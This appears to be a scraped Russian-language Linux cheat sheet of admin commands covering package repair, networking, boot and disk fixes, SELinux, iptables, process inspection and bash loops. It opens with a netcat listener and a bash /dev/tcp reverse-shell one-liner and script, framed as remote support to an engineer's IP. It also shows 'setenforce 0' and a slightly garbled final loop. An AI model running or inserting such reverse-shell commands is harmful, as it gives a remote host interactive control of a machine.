LinuxSkill - Сводки с прода и Шпаргалки

nc -lvnp 2288

/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1

#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1

chmod +x reverse_shell.sh

./reverse_shell.sh

  sudo apt-get install -f

  sudo apt-get clean
  sudo apt-get update

  ip a

  sudo systemctl restart NetworkManager

  cat /etc/resolv.conf

  sudo <command>

  sudo chmod 755 /path/to/dir
  sudo chown user:user /path/to/file

  sudo grub-install /dev/sda
  sudo update-grub

  sudo fsck /dev/sda1

  df -h

  sudo apt-get clean
  sudo rm -rf /var/cache/apt/archives/*

  sudo systemctl status nfs-server
  sudo systemctl restart nfs-server

  python3 -m venv myenv
  source myenv/bin/activate
  pip install <package>

  sudo ausearch -m avc -ts recent

  sudo setenforce 0

  lsmod
  sudo modprobe <module>

  sudo iptables -L

  sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

   pstree -sap <PID>

   ps -o args -p <PID>

   cp /proc/<PID>/exe /tmp/suspect_binary

   strings /tmp/suspect_binary

   lsof -p <PID>

   journalctl -S 'YYYY-mm-dd HH:MM'

bash -c 'x=0; time while ((x < 999999)); do ((++x)); done'

sudo cpupower -c 0 frequency-set -g performance

taskset -c 0 ./your-benchmark

sudo cpupower -c 0 frequency-set -g powersave

for item in one two three; do
  echo $item
done

for file in *.txt; do
  cat "$file"
done

count=1
while [ $count -le 5 ]; do
  echo "Iteration $count"
  ((count++))
done

count=1
until [ $count -gt 5 ]; do
  echo "Until loop: $count"
  ((count++))
done

break   # Выход из цикла
continue  # Пропустить текущую итерацию

for i in {1..5}; do
  echo "Num: $i"
done

for i in *;
----  
cat $i  
done